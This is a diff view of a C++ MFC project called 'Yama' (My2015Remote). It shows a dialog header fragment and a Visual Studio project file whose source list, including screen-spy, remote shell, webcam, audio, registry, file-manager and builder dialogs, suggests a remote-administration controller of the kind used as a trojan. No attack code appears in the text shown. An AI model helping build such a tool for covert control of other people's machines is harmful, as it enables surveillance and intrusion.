#if SHOW_NOTIFY #if INDEPENDENT
NOTIFYICONDATA m_Nid; NOTIFYICONDATA m_Nid;
#endif #endif
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
BOOL isClosed;
UINT m_iCount; CBitmap m_bmOnline[3];
CBitmap m_bmOnline[2];
afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose(); afx_msg void OnClose();
void Release();
afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout(); afx_msg void OnAbout();
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam); afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
afx_msg void OnNotifyShow(); afx_msg void OnNotifyShow();

View File

@@ -0,0 +1,219 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
<RootNamespace>My2015Remote</RootNamespace>
<Keyword>MFCProj</Keyword>
<ProjectName>Yama</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
<None Include="res\audio.ico" />
<None Include="res\bitmap\bmp00001.bmp" />
<None Include="res\Bitmap\Online.bmp" />
<None Include="res\bitmap\toolbar1.bmp" />
<None Include="res\Bitmap\ToolBar_File.bmp" />
<None Include="res\Bitmap\ToolBar_Main.bmp" />
<None Include="res\cmdshell.ico" />
<None Include="res\cursor5.cur" />
<None Include="res\Cur\Drag.cur" />
<None Include="res\Cur\MutiDrag.cur" />
<None Include="res\dword.ico" />
<None Include="res\file.ico" />
<None Include="res\icon1.ico" />
<None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" />
<None Include="res\string.ico" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\common\commands.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioDlg.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="CpuUseage.h" />
<ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="iniFile.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="ServicesDlg.h" />
<ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="SystemDlg.h" />
<ClInclude Include="TalkDlg.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="TrueColorToolBar.h" />
<ClInclude Include="VideoDlg.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioDlg.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="CpuUseage.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="iniFile.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="SystemDlg.cpp" />
<ClCompile Include="TalkDlg.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
<ClCompile Include="VideoDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\delete.bmp" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
<ProjectExtensions>
<VisualStudio>
<UserProperties RESOURCE_FILE="2015Remote.rc" />
</VisualStudio>
</ProjectExtensions>
</Project>

Some files were not shown because too many files have changed in this diff Show More